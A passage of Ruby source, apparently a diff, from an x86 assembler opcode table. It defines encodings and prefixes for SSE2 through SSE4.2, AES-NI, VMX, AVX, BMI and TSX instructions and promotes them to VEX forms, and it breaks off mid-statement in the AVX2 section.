addop('cvtpi2pd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0x66 } + addop('cvtpd2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } + addop('cvtsi2sd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } + addop('cvtsd2si', [0x0F, 0x2D], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + addop('cvttpd2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } + addop('cvttsd2si',[0x0F, 0x2C], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + + addop('cvtpd2ps', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvtps2pd', [0x0F, 0x5A], :mrmxmm) + addop('cvtsd2ss', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('cvtss2sd', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + + addop('cvtpd2dq', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('cvttpd2dq',[0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvtdq2pd', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('cvtps2dq', [0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvttps2dq',[0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('cvtdq2ps', [0x0F, 0x5B], :mrmxmm) + + addop_macrosdpd 'divpd', [0x0F, 0x5E], :mrmxmm + addop_macrosdpd 'maxpd', [0x0F, 0x5F], :mrmxmm + addop_macrosdpd 'minpd', [0x0F, 0x5D], :mrmxmm + addop('movapd', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + + addop('movlpd', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + addop('movhpd', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + + addop('movmskpd',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg) { |o| o.props[:needpfx] = 0x66 } + addop('movsd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF2 } + addop('movupd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'mulpd', [0x0F, 0x59], :mrmxmm + addop('orpd', [0x0F, 0x56], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('shufpd', [0x0F, 0xC6], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'sqrtpd', [0x0F, 0x51], :mrmxmm + addop_macrosdpd 'subpd', [0x0F, 0x5C], :mrmxmm + addop('ucomisd', [0x0F, 0x2E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('unpckhpd',[0x0F, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('unpcklpd',[0x0F, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('xorpd', [0x0F, 0x57], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0x66 } + addop('movdqu', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0xF3 } + addop('movq2dq', [0x0F, 0xD6], :mrmxmm, :modrmR) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0xF3 } + addop('movdq2q', [0x0F, 0xD6], :mrmmmx, :modrmR) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + addop('movq', [0x0F, 0x7E], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 ; o.props[:argsz] = 128 } + addop('movq', [0x0F, 0xD6], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 ; o.props[:argsz] = 128 } + + addop 'paddq', [0x0F, 0xD4], :mrmmmx, :xmmx + addop 'pmuludq', [0x0F, 0xF4], :mrmmmx, :xmmx + addop('pshuflw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF2 } + addop('pshufhw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF3 } + addop('pshufd', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('pslldq', [0x0F, 0x73, 0xF8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('psrldq', [0x0F, 0x73, 0xD8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop 'psubq', [0x0F, 0xFB], :mrmmmx, :xmmx + addop('punpckhqdq', [0x0F, 0x6D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('punpcklqdq', [0x0F, 0x6C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } + addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } + addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } + addop('movnti', [0x0F, 0xC3], :mrm) { |o| o.args.reverse! } + addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } + addop 'lfence', [0x0F, 0xAE, 0xE8] + addop 'mfence', [0x0F, 0xAE, 0xF0] + end + + def init_sse3_only + init_cpu_constants + + addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + + addop 'monitor', [0x0F, 0x01, 0xC8] + addop 'mwait', [0x0F, 0x01, 0xC9] + + addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } + addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('lddqu', [0x0F, 0xF0], :mrmxmm, :modrmA) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } + addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + end + + def init_ssse3_only + init_cpu_constants + + addop_macrogg 0..2, 'pabs', [0x0F, 0x38, 0x1C], :mrmmmx, :xmmx + addop 'palignr', [0x0F, 0x3A, 0x0F], :mrmmmx, :u8, :xmmx + addop 'phaddd', [0x0F, 0x38, 0x02], :mrmmmx, :xmmx + addop 'phaddsw', [0x0F, 0x38, 0x03], :mrmmmx, :xmmx + addop 'phaddw', [0x0F, 0x38, 0x01], :mrmmmx, :xmmx + addop 'phsubd', [0x0F, 0x38, 0x06], :mrmmmx, :xmmx + addop 'phsubsw', [0x0F, 0x38, 0x07], :mrmmmx, :xmmx + addop 'phsubw', [0x0F, 0x38, 0x05], :mrmmmx, :xmmx + addop 'pmaddubsw',[0x0F, 0x38, 0x04], :mrmmmx, :xmmx + addop 'pmulhrsw', [0x0F, 0x38, 0x0B], :mrmmmx, :xmmx + addop 'pshufb', [0x0F, 0x38, 0x00], :mrmmmx, :xmmx + addop_macrogg 0..2, 'psignb', [0x0F, 0x38, 0x80], :mrmmmx, :xmmx + end + + def init_aesni_only + init_cpu_constants + + addop('aesdec', [0x0F, 0x38, 0xDE], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesdeclast',[0x0F, 0x38, 0xDF], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesenc', [0x0F, 0x38, 0xDC], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesenclast',[0x0F, 0x38, 0xDD], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesimc', [0x0F, 0x38, 0xDB], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aeskeygenassist', [0x0F, 0x3A, 0xDF], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + + addop('pclmulqdq', [0x0F, 0x3A, 0x44], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + end + + def init_vmx_only + init_cpu_constants + + addop 'vmcall', [0x0F, 0x01, 0xC1] + addop 'vmlaunch', [0x0F, 0x01, 0xC2] + addop 'vmresume', [0x0F, 0x01, 0xC3] + addop 'vmxoff', [0x0F, 0x01, 0xC4] + addop 'vmread', [0x0F, 0x78], :mrm + addop 'vmwrite', [0x0F, 0x79], :mrm + addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } + addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } + addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } + addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } + + addop 'getsec', [0x0F, 0x37] + + addop 'xgetbv', [0x0F, 0x01, 0xD0] + addop 'xsetbv', [0x0F, 0x01, 0xD1] + addop 'rdtscp', [0x0F, 0x01, 0xF9] + addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA + addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA + end + + def init_sse41_only + init_cpu_constants + + addop('blendpd', [0x0F, 0x3A, 0x0D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendps', [0x0F, 0x3A, 0x0C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendvpd', [0x0F, 0x38, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendvps', [0x0F, 0x38, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('dppd', [0x0F, 0x3A, 0x41], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('dpps', [0x0F, 0x3A, 0x40], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('extractps',[0x0F, 0x3A, 0x17], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('insertps', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('movntdqa', [0x0F, 0x38, 0x2A], :mrmxmm, :modrmA) { |o| o.props[:needpfx] = 0x66 } + addop('mpsadbw', [0x0F, 0x3A, 0x42], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('packusdw', [0x0F, 0x38, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pblendvb', [0x0F, 0x38, 0x10], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pblendw', [0x0F, 0x3A, 0x1E], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpeqq', [0x0F, 0x38, 0x29], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pextrb', [0x0F, 0x3A, 0x14], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } + addop('pextrw', [0x0F, 0x3A, 0x15], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } + addop('pextrd', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } + addop('pinsrb', [0x0F, 0x3A, 0x20], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } + addop('pinsrw', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } + addop('pinsrd', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } + addop('phminposuw', [0x0F, 0x38, 0x41], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminsb', [0x0F, 0x38, 0x38], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminsd', [0x0F, 0x38, 0x39], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminuw', [0x0F, 0x38, 0x3A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminud', [0x0F, 0x38, 0x3B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxsb', [0x0F, 0x38, 0x3C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxsd', [0x0F, 0x38, 0x3D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxuw', [0x0F, 0x38, 0x3E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxud', [0x0F, 0x38, 0x3F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('pmovsxbw', [0x0F, 0x38, 0x20], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxbd', [0x0F, 0x38, 0x21], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxbq', [0x0F, 0x38, 0x22], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxwd', [0x0F, 0x38, 0x23], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxwq', [0x0F, 0x38, 0x24], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxdq', [0x0F, 0x38, 0x25], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbw', [0x0F, 0x38, 0x30], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbd', [0x0F, 0x38, 0x31], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbq', [0x0F, 0x38, 0x32], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxwd', [0x0F, 0x38, 0x33], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxwq', [0x0F, 0x38, 0x34], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxdq', [0x0F, 0x38, 0x35], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('pmuldq', [0x0F, 0x38, 0x28], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmulld', [0x0F, 0x38, 0x40], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('ptest', [0x0F, 0x38, 0x17], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('roundps', [0x0F, 0x3A, 0x08], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundpd', [0x0F, 0x3A, 0x09], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundss', [0x0F, 0x3A, 0x0A], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundsd', [0x0F, 0x3A, 0x0B], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + end + + def init_sse42_only + init_cpu_constants + + addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } + addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('popcnt', [0x0F, 0xB8], :mrm) { |o| o.props[:needpfx] = 0xF3 } + end + + def init_avx_only + init_cpu_constants + + add128 = {} + add256 = {} + %w[movss movsd movlhps movhpd movhlps + cvtsi2ss cvtsi2sd sqrtss sqrtsd rsqrtss rcpss + addss addsd mulss mulsd cvtss2sd cvtsd2ss subss subsd + minss minsd divss divsd maxss maxsd + punpcklb punpcklw punpckld packsswb pcmpgtb pcmpgtw pcmpgtd packuswb + punpckhb punpckhw punpckhd packssdw punpcklq punpckhq + pcmpeqb pcmpeqw pcmpeqd ldmxcsr stmxcsr + cmpss cmpsd paddq pmullw psubusb psubusw pminub + pand paddusb paddusw pmaxub pandn pavgb pavgw + pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw pmaxsw pxor + pmuludq pmaddwd psadbw + psubb psubw psubd psubq paddb paddw paddd + phaddw phaddsw phaddd phsubw phsubsw phsubd + pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd + dppd insertps mpsadbw packusdw pblendw pcmpeqq + pinsrb pinsrw pinsrd pinsrq + pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw + pmuldq pmulld roundsd roundss pcmpgtq + aesdec aesdeclast aesenc aesenclast + pclmulqdq punpcklbw punpcklwd punpckldq punpckhbw punpckhwd + punpckhdq punpcklqdq punpckhqdq].each { |n| add128[n] = true } + + %w[movups movupd movddup movsldup + unpcklps unpcklpd unpckhps unpckhpd + movaps movshdup movapd movntps movntpd movmskps movmskpd + sqrtps sqrtpd rsqrtps rcpps andps andpd andnps andnpd + orps orpd xorps xorpd addps addpd mulps mulpd + cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq cvttps2dq + subps subpd minps minpd divps divpd maxps maxpd + movdqa movdqu haddpd haddps hsubpd hsubps + cmpps cmppd shufps shufpd addsubpd addsubps + cvtpd2dq cvttpd2dq cvtdq2pd movntdq lddqu + blendps blendpd blendvps blendvpd dpps ptest + roundpd roundps].each { |n| add128[n] = add256[n] = true } + + varg = Hash.new(1) + %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa + pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq + pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq + aesimc aeskeygenassist lddqu maskmovdqu movapd movaps + pcmpestri pcmpestrm pcmpistri pcmpistrm phminposuw + cvtpd2dq cvttpd2dq cvtdq2pd cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq + cvttps2dq movd movq movddup movdqa movdqu movmskps movmskpd + movntdq movntps movntpd movshdup movsldup movups movupd + pextrb pextrw pextrd pextrq ptest rcpps roundps roundpd + extractps sqrtps sqrtpd comiss comisd ucomiss ucomisd + cvttss2si cvttsd2si cvtss2si cvtsd2si + ].each { |n| add128[n] = true ; varg[n] = nil } + + cvtarg128 = { :regmmx => :regxmm, :modrmmmx => :modrmxmm } + cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, + :regxmm => :regymm, :modrmxmm => :modrmymm } + + # autopromote old sseX opcodes + @opcode_list.each { |o| + next if o.bin[0] != 0x0F or not add128[o.name] # rep cmpsd / movsd + + mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) + pp = o.props[:needpfx] + pp = 0x66 if o.props[:xmmx] + fpxlen = (mm == 0x0F ? 1 : 2) + + addop_vex('v' + o.name, [varg[o.name], 128, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg128[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg128[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + + next if not add256[o.name] + addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + } + + # sse promotion, special cases + addop_vex 'vpblendvb', [1, 128, 0x66, 0x0F3A, 0], 0x4C, :mrmxmm, :i4xmm + addop_vex 'vpsllw', [1, 128, 0x66, 0x0F], 0xF1, :mrmxmm + addop_vex('vpsllw', [0, 128, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpslld', [1, 128, 0x66, 0x0F], 0xF2, :mrmxmm + addop_vex('vpslld', [0, 128, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsllq', [1, 128, 0x66, 0x0F], 0xF3, :mrmxmm + addop_vex('vpsllq', [0, 128, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex('vpslldq',[0, 128, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsraw', [1, 128, 0x66, 0x0F], 0xE1, :mrmxmm + addop_vex('vpsraw', [0, 128, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrad', [1, 128, 0x66, 0x0F], 0xE2, :mrmxmm + addop_vex('vpsrad', [0, 128, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrlw', [1, 128, 0x66, 0x0F], 0xD1, :mrmxmm + addop_vex('vpsrlw', [0, 128, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrld', [1, 128, 0x66, 0x0F], 0xD2, :mrmxmm + addop_vex('vpsrld', [0, 128, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrlq', [1, 128, 0x66, 0x0F], 0xD3, :mrmxmm + addop_vex('vpsrlq', [0, 128, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex('vpsrldq',[0, 128, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + + # dst==mem => no vreg + addop_vex 'vmovhps', [1, 128, nil, 0x0F], 0x16, :mrmxmm, :modrmA + addop_vex('vmovhps', [nil, 128, nil, 0x0F], 0x17, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vmovlpd', [1, 128, 0x66, 0x0F], 0x12, :mrmxmm, :modrmA + addop_vex('vmovlpd', [nil, 128, 0x66, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } + addop_vex 'vmovlps', [1, 128, nil, 0x0F], 0x12, :mrmxmm, :modrmA + addop_vex('vmovlps', [nil, 128, nil, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } + + addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmA + addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmA + addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmA + addop_vex 'vbroadcastf128', [nil, 256, 0x66, 0x0F38, 0], 0x1A, :mrmymm, :modrmA + + # general-purpose register operations + addop_vex 'andn', [1, :vexvreg, 128, nil, 0x0F38], 0xF2, :mrm + addop_vex 'bextr', [2, :vexvreg, 128, nil, 0x0F38], 0xF7, :mrm + addop_vex 'blsi', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 3 + addop_vex 'blsmsk', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 2 + addop_vex 'blsr', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 1 + addop_vex 'bzhi', [2, :vexvreg, 128, nil, 0x0F38], 0xF5, :mrm + addop('lzcnt', [0x0F, 0xBD], :mrm) { |o| o.props[:needpfx] = 0xF3 } + addop_vex 'mulx', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF6, :mrm + addop_vex 'pdep', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF5, :mrm + addop_vex 'pext', [1, :vexvreg, 128, 0xF3, 0x0F38], 0xF5, :mrm + addop_vex 'rorx', [nil, 128, 0xF2, 0x0F3A], 0xF0, :mrm, :u8 + addop_vex 'sarx', [2, :vexvreg, 128, 0xF3, 0x0F38], 0xF7, :mrm + addop_vex 'shrx', [2, :vexvreg, 128, 0xF2, 0x0F38], 0xF7, :mrm + addop_vex 'shlx', [2, :vexvreg, 128, 0x66, 0x0F38], 0xF7, :mrm + addop('tzcnt', [0x0F, 0xBC], :mrm) { |o| o.props[:needpfx] = 0xF3 } + addop('invpcid', [0x0F, 0x38, 0x82], :mrm) { |o| o.props[:needpfx] = 0x66 } + addop 'rdrand', [0x0F, 0xC7], 6, :modrmR + addop 'rdseed', [0x0F, 0xC7], 7, :modrmR + addop('adcx', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0x66 } + addop('adox', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0xF3 } + + # fp16 + addop_vex 'vcvtph2ps', [nil, 128, 0x66, 0x0F38, 0], 0x13, :mrmxmm + addop_vex 'vcvtph2ps', [nil, 256, 0x66, 0x0F38, 0], 0x13, :mrmymm + addop_vex('vcvtps2ph', [nil, 128, 0x66, 0x0F3A, 0], 0x1D, :mrmxmm, :u8) { |o| o.args.reverse! } + addop_vex('vcvtps2ph', [nil, 256, 0x66, 0x0F3A, 0], 0x1D, :mrmymm, :u8) { |o| o.args.reverse! } + + # TSE + addop 'xabort', [0xC6, 0xF8], nil, :i8 # may :stopexec + addop 'xbegin', [0xC7, 0xF8], nil, :i # may :setip: xabortreturns to $_(xbegin) + off + addop 'xend', [0x0F, 0x01, 0xD5] + addop 'xtest', [0x0F, 0x01, 0xD6] + + # SMAP + addop 'clac', [0x0F, 0x01, 0xCA] + addop 'stac', [0x0F, 0x01, 0xCB] + end + + def init_avx2_only + init_cpu_constants + + add256 = {} + %w[packsswb pcmpgtb pcmpgtw pcmpgtd packuswb packssdw + pcmpeqb pcmpeqw pcmpeqd paddq pmullw psubusb psubusw + pminub pand paddusb paddusw pmaxub pandn pavgb pavgw + pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw + pmaxsw pxor pmuludq pmaddwd psadbw + psubb psubw psubd psubq paddb paddw paddd + phaddw phaddsw phaddd phsubw phsubsw phsubd + pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd + mpsadbw packusdw pblendw pcmpeqq + pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw + pmuldq pmulld pcmpgtq punpcklbw punpcklwd punpckldq + punpckhbw punpckhwd punpckhdq punpcklqdq punpckhqdq + ].each { |n| add256[n] = true } + + varg = Hash.new(1) + %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa + pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq + pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq + maskmovdqu].each { |n| add256[n] = true ; varg[n] = nil } + + cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, + :regxmm => :regymm, :modrmxmm => :modrmymm } + + # autopromote old sseX opcodes + @opcode_list.each { |o| + next if o.bin[0] != 0x0F or not 